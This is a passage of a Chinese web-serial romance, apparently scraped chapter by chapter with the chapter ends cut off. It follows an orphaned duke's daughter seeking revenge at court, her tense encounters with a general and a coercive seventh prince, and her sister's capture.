想到这里,姜醉眠只恨自己无用,若报仇不成,那她独自活在这世上,还有何意义? 一颗晶莹剔透的泪珠骤然从纤细眼尾冒出,随后顺着柔美脸庞滑落,“啪嗒”一声,滴进了面前冒着热气的温泉池中。 “谁在那儿?!” 忽然有道沉冷嗓音自身后传来,语气中有来自西北军的果敢刚毅。 姜醉眠身子骤然一僵,这声音是…… 她略显呆滞的慢慢扭头,仰起脸来望过去。 清朗月光皎洁落下银辉,像知道翩跹君子迎月而立,便将隽秀面庞映得清亮。 竟然会是赵棠! 姜醉眠慌忙低下头去,匆匆用袖口擦干净眼角泪意,随后低垂着头恭敬欠身:“见过赵副将。” 说完她便准备从他身侧溜走。 可一只手募地伸了过来,轻轻拉住了她手臂。 赵棠看着她,眼神中满是复杂凝视:“你是谁?你不是宫女,是哪家的侍女?” 姜醉眠被他轻攥的那只胳膊忍不住发颤,轻声说道:“奴婢是丞相府的。” 丞相府? 赵棠听言,顿时松开了手。 丞相府和将军府一向不睦,父亲也时常告诫自己,私下少和丞相那边的官员来往。只是赵朗近日似乎与厉云川走得极近,要是被父亲知道了定会大怒。 赵棠问道:“既然你是相府的人,那可有在相府见过舍弟?” 姜醉眠声音越来越小,只盼着赵棠能快点放过她,再追问下去她生怕自己会说漏嘴。 “奴,奴婢不知……” 赵棠见这小侍女被自己吓得瑟瑟发抖,跟只鹌鹑似的:“你为何怕成这个样子,本将军又不吃人。” 姜醉眠说道:“奴婢听过将军名声,知道将军杀敌勇猛,所以害怕。” “你都说了,本将军杀的是敌人,”赵棠怕把人吓着,声音都温柔了些,“你不必害怕,再好好想想你家公子近来可有与舍弟私下往来?” 姜醉眠想到了厉云川曾和陆昭珩等人在醉红馆给赵朗接风洗尘,几人看来并不是第一次相聚,定然是有的。 可她不愿生事,只轻声道:“将军,奴婢真的不知。” “罢了,”赵棠看出她并不像是说谎,也知道从她嘴里肯定是问不出什么了,便道,“你走吧,不要告诉别人在此处见过我。” 胳膊上的手一松,姜醉眠如蒙大赦,慌忙提起裙摆就要跑走。 可才刚刚跑出去没两步,背后的人却又冷不丁开口。 “我们以前可曾见过?” 姜醉眠背影一瞬间僵在了原地,脚步分毫动弹不得。她不知道该欣喜还是难过,棠哥哥果然对自己还有印象。 可是,也只是印象而已。 姜醉眠没有回身,只是平静礼貌地回答道:“该是没有见过的,赵副将认错人了。” 赵棠没再言语,他看着面前这侍女的身影,脑海里总是会想起一个人来。 衣香鬓影,言笑晏晏,眯着弯弯的眼睫,趴在他背上唤他棠哥哥。 是他唐突了,国公府早已被满门抄斩,姜家上下也尽数葬身火海,连具完整的尸骨都没留下。 那个明媚的小丫头,又怎么可能还会存活于世。 姜醉眠听见了身后人转身离开的脚步声,眼角两行清泪随之滑落。 她出来透气的功夫也够久了,该回到大殿上了。 只是她正准备继续朝着大殿方向跑,面前却突然出现一道漆黑的身影,她尚未看清楚来人是谁,便被一股极大的力气紧紧扣住了腰肢,身子也不受控制地被拉到了一旁的假山后。 周身被弥漫开来的松香渐渐包围,一双莹润双眸瞬间瞪圆,一眨不眨地看着面前人。 那道阴沉冷冽的视线同样牢牢锁定在她脸上,狭长凤眸像是在细细描绘自己掌心中的猎物。 从上至下,从下至上,来回描摹,要将她深深刻进骨髓。 “你……!” 剩余的话还没来得及说出口,一只大手就猛地紧紧捂住了她双唇,尖尖细细的小脸顿时大半张脸都被宽大掌心覆盖,只剩一双黑亮的美眸和小巧鼻尖露在外面。 感受到掌心将那两片娇嫩柔软的唇肉狠狠压扁,陆昭珩手指也捏着她脸颊软肉,故意将白皙滑腻的嫩肉从指缝间漏出些许,瞧着更叫人怜爱得紧。 陆昭珩食指轻轻点在薄唇上:“嘘。” 姜醉眠嗓子里的呜哝声竟也老实的停住了,随着他的视线向假山外望去。 只见她方才站着的位置不远处,一队整齐位列的守卫恰好经过。 随意溜出宫宴已是大罪,更遑论私自闯入御花园,被皇上一个不高兴给砍了脑袋也不是没可能。 毕竟她只是最轻贱的下人。 姜醉眠眼睁睁看着那队侍卫走过后,双手便拉住捂着自己嘴巴的手臂,企图将他的手拉开。 可谁知陆昭珩像是 17. 妄想 《报错仇后被疯批独占了》全本免费阅读 “当真没有?”陆昭珩低声逼问。 姜醉眠抬起手背猛一擦眼角,抬起黑亮的眸子看他,不发一言。 月光斜斜照进假山后的阴影中,他脸颊一半被银辉映亮,锦衣华服,面如冠玉。 另一半却隐在昏暗夜色中,幽深阴鸷,邪佞狂肆。 眼前这个人,原本就是有两张皮的。 平日里再怎么装得像人,骨子里还是凶恶可怖。 “你是以什么身份来质问我?”姜醉眠忽得扯着唇角笑了声,“路予行,还是陆昭珩?” 陆昭珩定定地看着她,没有回答。 “不说话,难道是心虚了?”姜醉眠眼眶红的厉害,“殿下也会心虚吗?杀害我叔父叔母时,你可曾也像这般迟疑过?” 陆昭珩骤然松开了对她的禁锢,望向她的眼神颇为幽暗复杂。 “你以为,他们是被我所杀?” 想到叔父叔母惨死的场景,姜醉眠就忍不住浑身颤栗,“若非是你,为何你一出现就徒生这么多变故?又为何他们死后你也无故失踪?还有,你说你叫路予行,随父亲在江南经商,可你父亲明明就是……” 是当朝天子! 他口中并无一句实话,要让自己如何信他? 陆昭珩抬手,像是想替她拭去眼角清泪。 可姜醉眠猛地别开脸颊,合上双眸,紧绷的侧脸异常坚韧。 她以为陆昭珩是被自己说中了,所以想要杀人灭口。 若是今夜就被他取了性命,又何尝不是一种解脱。 预想中的疼痛并没有来临,姜醉眠缓缓睁开眼睛,便见那双凤眸湿冷,一直在望她。 对于她身上这点傲骨,陆昭珩也是今日才知道了缘由。 方才宫宴上他并非有意来迟,只是蔺风将功赎罪,竟然给他带回了一个大消息。 姜醉眠不是旁人,居然是开国公姜廷州之女。 当年国公府满门丧命火场,他路过那片尸山血海,站在门外望了许久。 那年他不过十四岁,便已知道了天意不可揣测,皇权不容功高盖主之臣,所以无论姜廷州有无叛国之举,他都必死无疑。 只是可怜了国公府上下百余口,都要随着一同为皇权铺路。 那夜很冷,陆昭珩还记得,从一道漆黑小巷中爬出来了个小姑娘。 她腿上全都是血,气若游丝,看起来命不久矣。 他本无意多管闲事,可一只小手努力伸着,想要过来拉他的衣角。 他破天荒地心软了一次,将地上的瘦小身影抱上了马车,送去了医馆。 后来数十年,他并没有再记起当夜的事情。 可谁也没有想到他当夜救下的,居然会是国公遗女。 陆昭珩本无意来参加今日宫宴,他素来不喜在人前露面。可蔺风禀报了国公府曾经和赵家往来甚密,他便察觉出些什么。 果然,今夜她为了见赵棠一面不惜铤而走险,她是仗着十年过去了朝堂上不可能有人认得出她,可万一有人指认她是姜廷州之女,那她死罪难逃。 看到她和赵棠那般亲密地站在一起,陆昭珩就觉得碍眼得很,只是他还没想到的是,姜醉眠早已经直接把他当成了杀害她叔父叔母的凶手。 “我若说不是我所为,你信么?” “自然不信!”姜醉眠道,“你口中哪里还有一句实话!” “好,既然如此,那我便给你个机会报仇雪恨。” 陆昭珩退后半步,像是敛去了周身阴冷戾气,摆出副没有伤害的模样,似笑非笑看着她:“你现在就可动手。” 姜醉眠瞪大了眼睛,不敢置信地瞧着他,倒不像是说谎的样子。 他真的会让自己杀他? 可这里是御花园,皇宫重地。 不远处轻殿上便是皇上和满朝文武,御前侍卫也在一队接着一队四处巡视。 他是疯了,可自己没疯。 若真的在这里将当朝皇子杀了,她便是有十条命都不够死的。 陆昭珩抱着双臂,轻扬下颌,语气调笑道:“如此难得的机会,还不动手?” 姜醉眠咬了咬唇,那支素银钗还一直藏在她袖口中,只要她扑上前去将它刺进那段脖颈,一切就可以结束了。 不行,还有青彤。 如果她死了,青彤也必定会受到牵连。 思虑再三,姜醉眠脚步像是被冰冻在了原地,没有移动分毫。 “若我反悔,以后你就再也寻不到如此良机了。”陆昭珩低声诱哄道。 姜醉眠将素银钗又偷偷收回了袖口深处:“殿下说笑了。” 这绝对是个陷阱,她万不可在此时动手。 至于陆昭珩为何不杀她,反而要给她机会,她暂时还没想到个合理的解释。 见她分明恨自己恨得牙痒痒,却又不得不忍耐下来,低眉顺目地垂着脸颊,陆昭珩便觉心下恣意得很。 直接上前两步,将纤薄的身影牢牢抵在了假山石上。 后背被凸起的石块硌得生疼,可身前是强硬微热的男性身躯,姜醉眠无处可躲,两手撑在他胸口处,长睫乱颤。 “你,你要做什么,那边有人来了。” 陆昭珩轻笑一声:“谁若是有胆子,便叫他过来看着。” 他说着俯身轻嗅,鼻间充满花香的同时,还闻到了她身上独有的那股淡淡药香,深远幽静,沁人心脾。 假山外果然传来几声轻呼:“姜姑娘,姜姑娘,你在哪啊?” 听出来是随着厉云川一同进宫的家仆小章,姜醉眠却也不敢出声,被小章发现她和七皇子孤男寡女在此,那她可真是有嘴也说不清了。 小章寻了她半天也没寻见,却还是不放弃,竟然一步步朝着假山这边来了。 “姜姑娘,姜姑娘你在吗?你若听见了就回答我一声,姜姑娘?” 那声音越来越近,只要一个转弯便会来到假山后面。 姜醉眠一口气都深深提了起来,眼睛一眨不眨地盯着那处拐角,呼吸都弱了下去。 陆昭珩见她吓得这副样子,更觉有趣,便故意伸手拨弄了两下她额前的细发,换来狠狠的一记白眼。 就在小章准备走到假山后面察看一番时,不远处的轻殿处传来熙攘喧闹声。 宫宴尚未结束,皇上特意赏了众人一同月下赏花的恩典,此时轻殿大门四开,里面的众臣和家眷们都走了出来,在御花园四处赏玩。 姜醉眠见此情形,心中反而镇定了些许。 原本御花园无人,她正愁无法脱身,现下倒是个好时机。 小章没找见姜醉眠,又见厉云川已经出了轻殿,便准备回去禀告一声,看是不是要多请几个人帮忙寻找。 姜醉眠却忽然开口应了一声:“我在这里。” 陆昭珩一顿,却 18. 玩味 《报错仇后被疯批独占了》全本免费阅读 夜深露重,寒风凛冽。 虽然已经说好宫宴结束之后,姜醉眠便要离开丞相府,可是今日已经太晚。 厉云川道:“若离开的话,你可有找好住处?” 姜醉眠摇了摇头:“还没有,可是已经在府上叨扰多日,老夫人的头症也不再发作,我必得离开了。” 厉云川陪她一道穿过回廊,注意着寒风吹来的方向,替她遮去大半冷意。 “其实你可以不用如此着急,现如今城中人口日渐增多,想再找个便宜的住处,怕也不是什么容易事,我明日派人出去帮你一起寻着,等到找好了住处,你再搬出去不迟。” 这确实是个过渡的法子,可瞧着厉云川望向她时遮掩不住的关怀,她总觉得内心愧疚难当。 这份好意,她又如何能还得起呢? 厉云川像是看出她心中所想,便道:“你万不要因此徒增负担,我帮你,只是因为你治好了祖母的头症,祖母缠绵病榻已久,若非你开得方子,恐怕寒冬难熬了,所以我还要多谢你才是。” 姜醉眠抬眼看他,见他眸中满是清风明月,便也放心的弯了弯眉眼。 “若如此,那便再次谢过厉公子好意了。” 送着姜醉眠回到厢房,厉云川让小章送来了二十两银子。 “府上现银不多,这些你先用着,”厉云川道,“若是不够,我明日再着人来送。” 姜醉眠望着那花白的银两,很是惊诧:“这是何意?” “问诊费。” 姜醉眠连忙推拒道:“我尚且是个学徒罢了,怎能收得这么多问诊费?况且我和彤儿日日吃住在此,岂不是还需付一笔房费?厉公子快些收回去,我是断不能收的。” “你们姐妹二人在京城无依无靠,现下又无新的住处,正是用钱之际,你无需跟我客气。” 姜醉眠仍不肯收:“你若执意如此,那我便只能今夜就搬出府中。” 厉云川这才让人把银子又收了回去。 旁人并不知晓,甚至连青彤都不知道,其实姜醉眠并不缺银两。 当日那十万两银票,现下还好好的藏在永巷家中,不到万不得已,她并不打算动用这银票,况且她也暂时无法回去取。 姜醉眠推开房门,却没看见青彤的身影。 “彤儿?”姜醉眠道,“这丫头,莫非是出去了。” 一旁有两个小丫鬟见状,像是有些慌乱的过来禀告道:“少爷,姜姑娘,彤儿姑娘她今日下午便说有事要出府一趟,奴婢们想跟着,可彤儿姑娘不许,一个人就出去了,到了现在都还没回来呢。” 姜醉眠闻言,脸色却是一变:“还没回来?” 厉云川也道:“现在已近丑时,夜市也早该闭市了,彤儿姑娘会去哪里?” 姜醉眠逼迫自己冷静下来,她现在绝对不能慌乱,必须要尽快找到青彤才是。 可青彤已经是她最后的亲人了,若是青彤再有个什么三长两短…… 姜醉眠不敢再往下想,神色焦急道:“她有可能回了永巷。” 厉云川轻轻拍了下她的肩膀安抚道:“永巷可是你们以前居住的地方?” “是,彤儿先前就问过我何时才能回去,她可能趁着我随你入宫的功夫,自己偷偷回去了,或许,是遭遇了什么不测……” 姜醉眠不知是想到了什么,越过房门前的几人就准备冲进黑夜中。 厉云川一把拉住她:“这么晚了,难不成你要自己出去寻她?你暂且在府上等着,我立刻派人去永巷。” * 青彤一心惦记着自己那三分小菜地,前些日子撒下去的种子还未来得及浇水,也没覆上地膜,这么冷的天,种子怕是都要被冻坏了。 她便趁着姜醉眠和厉云川都不在府中的时机,一个人偷偷回了趟永巷。 姐姐还担心永巷中会有仇人派人把守,看来仇人这是放松了警惕。 青彤推开家门,立马就去看那块小菜地,这可是她一锄头一锄头,辛辛苦苦翻好的细土。以前在乡下,姐姐那短时间身子不好,家里的那几亩田地她一个人打理了好些日子,自小就帮着家里种田,这些农活她干得得心应手。 只不过后来为了来京城,姐姐把家里的几亩田全都卖了换盘缠。 要是可以,她宁愿和姐姐在乡下种一辈子的地。 没有仇人,没有会把她卖进酒楼的爹,只有她和姐姐。 覆好地膜后,青彤便准备起身回丞相府。 可谁知才刚将破旧的大门落锁,细弱的肩膀上就忽得一凉。 青彤身子顿时僵住,有些呆滞地扭头看过去。 一柄闪着寒光的冷剑正紧紧抵住她脸颊,只要她再多扭过去半分,便会被锋利的剑刃划破脸颊。 “别动,否则别怪我不客气。” 蔺风一边说着,一边缓缓侧过身去,想要看清面前人的面容。 只是在对上一双乌溜溜的杏仁眼时,他也愣怔在了原地。 “是你?” “是你!” 两人异口同声,都为眼前出现的人感到惊诧万分。 那日在医馆时,青彤偷偷看见了蔺风的长相,自然也知道他是仇人的手下,就是前来抓自己的。 而蔺风却诧异地问道:“你不是从小便得了瘫症,每日都需要浸泡药浴吗?” 话一问出口,蔺风便意识到自己是被人耍得团团转了。 青彤虽竭力忍耐着心中害怕,说出口的话却颤抖的不像样子。 “我,我不认得你,我只是路过的。” 蔺风倒觉好笑:“永巷如此偏僻,这住处又最为僻静,你如何能路过这里?” 青彤侧了侧脸颊,想要离得那长剑远些,冰凉的剑光刺得她更怕了。 “我,我迷路了。” 蔺风却凶恶道:“还敢撒谎!你分明与那女刺客是一伙的!” “我们不是一伙的!我不认识她!”青彤生怕牵扯到姐姐,情绪也有些激动起来,大声喊道,“你要杀的话,就杀我吧!” 说完她猛地闭上眼睛,脸颊却不小心擦着剑身而过,苍白的脸上顿时多了道长长的血痕,猩红的血珠争先恐后地冒出来。 青彤只觉脸颊骤然刺痛,抬手去摸,便摸到了满手鲜血。 她心下异常惊慌,手指都哆嗦了两下。 “血……” 她喃喃一声,双腿一软,便直接晕了过去。 蔺风并无意伤她,主子没说要杀了她,只是说不管谁出现在这永巷中,都要把人带回府苑。 现下这姑娘胆小如鼠,竟然直接昏在眼前,蔺风只得上前将人抱起来,轻松扛在了肩上,脚尖一点,便朝着静街府苑去了。 *< 19. 带走 《报错仇后被疯批独占了》全本免费阅读 厉云川也走到两人身旁落座,姜醉眠随之站在身后。 陆昭珩视线在她身上打了个转,开口道:“难怪小厉大人今日连早朝都没上,原是府中有佳人在侧。” 厉云川是知晓陆昭珩对姜醉眠存了别样心思的,可现在姜醉眠既然在丞相府,他便不愿拱手让人。 “殿下说笑了,我任职考察期尚未满一个月,在此期间自是不必上朝的。” 陆昭珩轻笑一声,指尖在暖玉杯盏上把玩两下,说道:“厉丞相教子有方,想来也不会让小厉大人沉迷花月,松懈差事。” 厉郙从他话中听出丝不对味。 这位七皇子便是那纵情风乐之人,如今怎倒劝诫起旁人来了。 况且七皇子素来不问朝堂,端的是无心权势之态,昨夜出现在宫宴已是让人心觉差异,今日在朝堂之上,皇上竟然有当众宣布要将迎接辽国使臣一事交与陆昭珩亲办,协同鸿胪寺众人一起,务必要将接访一事办得妥帖得体。 态度强硬之外,还要体现我大宴大国雅量。 皇上的心思不是朝臣能琢磨透的。太子陆昭轶在朝中党羽纷杂,大将军赵筠也明里暗里与其交好,而三皇子路昭闻刚被亲封慎王,府邸的门槛都快被群臣踏破,风头一时无两。 接待使臣一事本在两党之间混争,结果皇上却安排给了个不受重用的七皇子,在此之前七皇子甚至连上朝的资格都没有。 皇上命任鸿胪寺少卿的厉云川协助陆昭珩,因此一直以来在太子和三皇子两党间处于中立姿态的丞相府,现下也隐隐被拉进了泥沼。 只是初次与这七皇子打交道,平日只知他流连花丛,浪荡随性,却不知与他共事又会是何种情形。 厉郙对厉云川的城府心机颇为担忧,他那儿子秉性太过纯良,所以才只任了个不痛不痒的礼仪官,而他一时之间也看不透陆昭珩的心思。 厉郙也似玩笑道:“犬子无能,承蒙皇上赏识才委以重任,七殿下此话倒与老臣不谋而合。接待辽国使臣一事,还望殿下多多提点着犬子一些了。” 陆昭珩道:“厉丞相言重了,是我要多受小厉大人教导才是。” 厉云川看向陆昭珩,不知道他葫芦里究竟卖的什么药,他不是向来不与朝臣明面上往来的吗,这回怎得大摇大摆就进了丞相府。 厉郙见厉云川还未回过神来,便厉声提点道:“皇上今日在早朝上已经安排了七殿下主办接待辽国使臣一事,你定要好生协助殿下办好差事。” 厉云川恭敬道:“是,一切皆听殿下吩咐。” 厉郙问道:“都停驿修缮一事办妥了吗?” 厉云川回道:“想必快了,一个月前我随左大人前去蕉岭山特意察看过,当时便只差几间厢房尚未修好,我已嘱咐驿馆加快进程,想来近日也该完工了。” 厉郙理了理衣袖,对陆昭珩道:“那便好,殿下有所不知,我朝接待辽国使臣素来都设在蕉岭山都停驿,谁知前段时间都停驿竟被山雨泥流毁坏,不过幸而已经快修好了,想来也不会耽搁接待使臣的大事。” 陆昭珩脸色并无波动,辽国使臣大概还有半月便要抵京,接待的驿馆修没修好却还未知。 这位厉丞相看着慈眉善目极其配合,却不知这派和善表皮下隐藏着何种算计。 陆昭珩虽与厉云川私下往来过几次,可大多是赵朗和李才汝等人拉起来的局,论起来,他与厉云川除了在看人眼光方面出奇雷同,其他并无相称地方了。 “无妨,”他开口道,“厉丞相已操心许多,剩下的交与我和令郎即可。” 厉郙笑道:“既如此,那老臣也乐得省心了。殿下等会若是无事,不妨留在府上用膳?先前与殿下走动少了,老臣深觉遗憾,早知殿下是如此通情达理之人,那老臣早该与殿下多加往来才是。” 陆昭珩挑起凤眸,似笑非笑的看过来:“有厉丞相此番话便够了,毕竟,往后的日子还长着。” 厉郙撇了厉云川的方向一眼,见他也正面色凝重,便笑道:“那是自然。” “不过今日就不久留了,”陆昭珩起身道,“近日身体不适,也怕给厉丞相过了病气。” 厉郙走上前两步,满脸关切意味,问道:“殿下可是太过操劳累坏了身子?是何病症,可有找太医瞧过?” 陆昭珩脸色当真略带苍白,他却不以为意道:“太医瞧了也是无用。” “怎会无用?殿下可不能如此不爱惜自己的身子,现在看来事小,可万一拖成重病,那便成了麻烦事。”厉郙道,“家母先前头症发作,也是遍寻京城郎中医治,不想最终却被一位女医治愈,虽为女子,可那女医医术了得,现下也正好就在府上,我这就命人去寻她前来为殿下诊脉。” 厉郙一边说着,一边叫来门外小厮:“快去请那女医前来。” 小厮望了望厉云川身后站着的人,傻了眼,问道:“姜姑娘不正在此吗?” 姜醉眠再想隐身也是不行,只得从厉云川身后走出来道:“见过厉大人。” 厉郙倒是颇为惊讶,他方才一直没注意到,跟在厉云川身后的侍女竟会是姜醉眠。 那他们方才所言,岂非都被这女医听去了。 厉郙不是没看出厉云川对此女的心思,可这女医身份太过卑贱,岂能高攀上丞相府? 若能顺水推舟送陆昭珩一个人情,那是再好不过了。 厉郙道:“老眼昏花,竟未认出姜姑娘在此处,那便请姜姑娘为殿下看诊吧。” 姜醉眠低垂着头,也只得应道:“是。” 陆昭珩坐回那红木椅上,伸出只手臂来,搭在暖玉杯盏旁,望向姜醉眠的眼神暗藏汹涌。 他道:“有劳姑娘。” 姜醉眠暗暗咬紧牙关,只身上前,素白双手将宽袍衣袖轻轻撩起,露出那只松竹骨节般的手来。 搭了块薄绢手帕在他手腕处,双膝跪下,敛着眼眸替他诊脉。 厉郙和厉云川就站在两人身侧,几个下人也都垂眼偷偷看着。 陆昭珩面色如常,微微侧目,便能瞧见那一小段雪白柔静的脖颈,就盈盈立在跟前,像刚折易脆的莹润美玉,望着便顺滑柔腻。 藏在宽袍下的另只手在虚空中捻了捻,可惜指尖空荡,捏住她脸颊软肉的触感也不复存在。 若不是在丞相府,怎能看得到她这么乖顺地跪在自己跟前,柔软呼 20. 别怕 《报错仇后被疯批独占了》全本免费阅读 车厢外行人喧闹声渐行渐远,姜醉眠便知这是快到静街了。 她后来也向丞相府下人打探过,那静街里住的多是王公贵族,寻常百姓那是连靠近也不敢的。 而皇上的几个皇子公主中,也只有七皇子陆昭珩得了恩典可以住在宫外。 说是恩典,但世人皆知,其实就是打发得远远的,眼不见心净。 她倒是也不想见他,眼下还未寻到报仇良机。 可不见却又不行。 “彤儿到底是不是在你手上?” 姜醉眠即使心中已有定论,却还是抱着一丝希冀。 陆昭珩却不答话,一手撩起来车窗围帘,侧目向外望了眼。 马车恰好经过一座气势巍峨的府邸,光是门外两尊凶神恶煞的镇宅石狮,便叫人心生敬畏,望而却步。 姜醉眠也随之看过去,只见高立的府邸门框上用足金镶嵌而成三个大字——将军府。 原来这里是大将军赵筠的府邸。 将军府大门正好敞开着,里面急匆匆跑出来一整队身着披银铠甲,手握冷刀的魁梧士兵,这些都是赵筠从西北沙场上带回来的,饱经战场厮杀磋磨,瞧着便像是杀神附体,与京城里那些侍卫兵们全然不同。 为首的却是一个模样英气的女子,高马尾肃杀凌厉,一袭利落劲瘦黑衣,虽然脸庞能看得出稍显稚嫩,可眉宇间满是果决杀气,带着士兵们便朝静街外去了。 “那是赵筠的女儿,赵楚洛,”陆昭珩松了手,围帘将那队离去的士兵遮挡上,“他老来得女,对这个小女儿视若掌上明珠,本欲好好娇生惯养着,谁知此女与她父兄一样,也偏爱习武,女儿家不便上战场,赵筠就托人将她塞进了锦衣卫。” 姜醉眠努力回想,印象中赵棠确实还有个亲妹妹,只是自小便保护的很好,她不得见罢了。 “你与我说这些做什么。” “我只是帮你解了心中疑惑,省得日后见着赵棠身边站个妙龄女子,”陆昭珩好整以暇看她,“你会多心。” 姜醉眠佯装镇定,可心中却知陆昭珩是故意要拿赵棠来打趣她。 她便故意顺着说道:“赵棠将军忠肝义胆,一心报国,我当然知道他并非烂情之人。” 她一边说着,一边眸中带着得逞笑意看向陆昭珩。 这烂情之人指的是谁,自不必多说。 陆昭珩被她暗讽却也并不气恼,一只手募地伸到她身后,大掌抵住纤细柔韧的腰肢用力往前一顶,姜醉眠整个人便不受控制地被按到了他跟前。 幸而她反应还算快的用两手牢牢撑在他胸前,额前却轻轻在他下颌处磕了下,有湿润灼热的呼吸一瞬而过。 姜醉眠后背立即绷了起来,抬眸愤恨地怒视他,一双多情桃花眼此刻却紧紧上扬,柔润的眼尾都变得细长尖利,想把夺人性命的弯刀。 陆昭珩见她这副气得要咬人的模样,便想到了那日在醉红馆中,两人也是这样近的距离,她醉得不知天高地厚,竟然扑上来咬他喉结。 那处齿痕早就消弭无踪,可上面酥酥麻麻的温湿痒意却让人心中难耐。 “既知道我是个烂人,还敢跟来?” 姜醉眠与他对视,咬唇不言。 素钗此刻正在袖口中硌着她的手腕,要是他再敢更近一步,她保证会刺穿他的咽喉。 可陆昭珩按着她后腰的手却在片刻后就猛然松开了,马车恰好停在府苑门口。 姜醉眠连忙坐正身子,戒备之心尚未松懈。 只见陆昭珩闲适起身,锦绸衣袍顺滑铺展开来。 “跟上。” 说完,他便先一步下了车。 姜醉眠整理了下被他弄皱的衣物,跟了上去。 再次回到这座偌大府苑,姜醉眠内心复杂不已。 上回好不容易演戏才逃出去的,没想到这回却又自己送上了门来。 只是她环顾四周,这才发觉四处玉璧石墙上竟然变了样,顶上都被加上了一圈尖利箭头,在日光下都泛着阴寒冷意。 像是为了防止人爬墙逃跑似的。 姜醉眠嘴角抽了两下,这小人当真阴险歹毒! 蔺风从前厅迎过来,见着姜醉眠的一瞬间,眼中便充满了警惕和敌意。 上回他眼见着这女人对主子行刺,虽说主子不在意,可他却不能不提防。 他实在不知主子到底为何要将这么危险的女人留在身边,难不成是为了将她抓回来细细折磨审讯。 “主子,”蔺风在他耳旁低声道,“人已经醒了。” 陆昭珩不言,只一路让人把姜醉眠又带回了上次那件僻静厢房。 姜醉眠望着那张挂了银铃的精致牙床便觉心中犯怵,她坐得离床榻远远的,侧眸看窗外青翠绿竹。 上次逃跑的时候太过匆忙,并没有注意到这里竟然离将军府如此之近。 今日听厉郙和陆昭珩商议迎接辽国使臣之事,姜醉眠虽然不曾言语,可心中却思虑万千。 当年父亲被判叛国通敌,群臣上奏说他私下与辽人交往甚密,姜醉眠不信父亲是那贪图功绩便罔顾国本之人,当年出现在国公府上的通敌书信,定然是被人栽赃陷害。 可抄家之时,书信已被都察院当成罪证收回存档,姜醉眠也从未见过。 现下辽国使臣又要访京,若说姜醉眠内心毫无波动那是不可能的。 她痛恨辽人,却也痛恨令国公府百余人枉死的皇权,而叔父叔母之死,想来也与朝中权力争斗脱不了干系。 厢房的门被人从外推开,陆昭珩走进来,将她正望着窗外出神。 恬静侧颜被日光撒照,婉约曼妙的像木雕屏风上的美人儿。 等姜醉眠回过神来,便见木椅上坐着的人正在看她,也不知看了多久了。 “彤儿呢?”她开口问道。 陆昭珩不急不许斟茶:“你对那小丫头就如此关心?” 怎么不肯分半点出来给我。 姜醉眠起身走过来,说道:“彤儿是我妹妹,我自然关心她,你用彤儿引我来此,不管是何用意,我现在都已经在这了。彤儿她什么都不知道,也什么都没参与,你大可以放了她。” 陆昭珩轻笑道,“别忘了她的卖身契是我出钱赎的,论起来,她这条命算是我的。” 姜醉眠猛然瞪圆眼睛:“你,无耻!” 琉璃樽盏举至唇边,陆昭珩听了她这话,却笑意更深。 “我何时允诺过放人?” “那你也该让我见她一面,我知道她安好,便不会再过问。”姜醉眠退让一步说道。 陆昭珩放下杯盏望她,瞧出她眸中满是隐忍之色,便对一旁的蔺风使了个眼神。 蔺风当即从 21. 被抱 《报错仇后被疯批独占了》全本免费阅读 陆昭珩不知何时出了厢房,房内一时只剩下姜醉眠和青彤两人。 姜醉眠替她将散落的发丝扎上,这才故作生气对青彤道:“不是让你在丞相府好生等着吗,我入宫很快便回,谁叫你自己偷偷跑回去的?” 青彤自己擦了擦眼泪,脸颊上的伤口被眼泪蛰得生疼,可她也不喊痛,低着头乖乖说道:“我还以为没事了,就想回去看看菜地而已,谁知道,谁知道那个坏人居然一直在家门口埋伏着……” 姜醉眠抬起她下巴,仔细瞧了瞧她脸上的伤:“幸好伤口不深,要不然以后你就顶着这道疤过日子吧,变成个丑八怪看你老不老实了。” 青彤小心翼翼去拉姜醉眠的手:“姐姐,你别生气了好不好?我知道错了,以后我一定听你的话,你让我往东,我绝对不会往西,我发誓!” 见那张小脸上泪水和血水脏污的混成了一团,姜醉眠轻叹口气,拉着她在凳子上坐下。 “我不是要责备你,只是不想你也和我一样陷入这种危险境地,如若你以后呆在丞相府,倒也能安稳度日,厉公子是个心善的好人,必不会亏待了你。” 青彤听出她话外意思,神色惊慌问道:“姐姐,你先前是想把我留在丞相府吗?你难道,不想要我了吗……” 姜醉眠不言,掏出块手帕来沾了些茶水,细细的替她擦起来。 她确实如此想过。 眼下情形比她意料中的要复杂许多,她和青彤不能两人都以身犯险,若她无法保全自己,最起码能让青彤以后生活无虞,也是好的。 “姐姐,我不要离开你,”青彤泪光闪烁,眼神却异常坚定,“不管你要做什么,我都会一直陪着你,你不要赶我走,也不要抛弃我。” 姜醉眠眼眶酸涩:“我与你无亲无故,你本不用陪我涉险。” 青彤却拉紧她的手,情真意切道:“姐姐当日救我于水火,我就已经把姐姐当成我唯一的亲人了,就算姐姐不要我了,我也不会离姐姐而去的。” 她说得出,定然做得到。 那日默默跟在姜醉眠身后走了十几里山路的小丫头,骨子里当真倔得很。 青彤说完就眼巴巴看着姜醉眠,像是在等待她的回答。 姜醉眠放下手帕,望着她脸颊上那道不深不浅的刀口,只得无奈地掏出个药瓶来给她上药。 “真是拿你没办法。” 青彤听了,清澈乌黑的杏眼却一派正经道:“姐姐放心,仇人既然没有伤我,定是背后还有别的大阴谋,现下正是好时机,我一定助姐姐杀了仇人雪恨!” 姜醉眠连忙伸手捂住她嘴巴,望着门边悄声道:“你给我小点声,隔墙有耳。” 此时正在门外偷听的蔺风募地正了正身子,吩咐几个侍卫看守好房门,悄然离去。 * 陆昭珩迈入堂厅的时候,正见堂内立着一颀长身影。 听见门外动静,那道身影转过来,面目含笑地望着陆昭珩,道:“七弟倒是事务繁多,叫本宫好等。” 来人正是当朝东宫太子,陆昭轶。 他也方从宫内而来,身着赤色圆领蟒袍,腰佩犀金玉带,头上一颗莹润华贵的夜月明珠彰显尊贵的身份和地位。 清俊的眉宇之间,倒真与陆昭珩有三分相像。 只是陆昭珩生得一双矜贵冷傲凤眸,与眼前这位眸中满是善意的东宫太子不甚相同。 陆昭珩轻笑着走近:“不知大哥来此,有失远迎。” 陆昭轶颇不见外地在正座上坐下:“无妨,想来七弟是在为今日父皇所派之事烦恼,本宫这个当大哥的也不好袖手旁观,所以特来问问七弟,可有需要帮忙的地方?” 陆昭珩不易察觉地冷笑一声,心道这才刚下朝,一个丞相府,一个东宫,便都按捺不住了。 “多谢大哥好意,父皇将此事交与臣弟,不过因为大哥忙于私盐一案腾不出手来,三哥也不日便要南下暗访,要不然这差事万落不到臣弟头上,”他语气平淡,听不出情绪,“若因臣弟无能惹得大哥忧思,那便是臣弟之过了。” 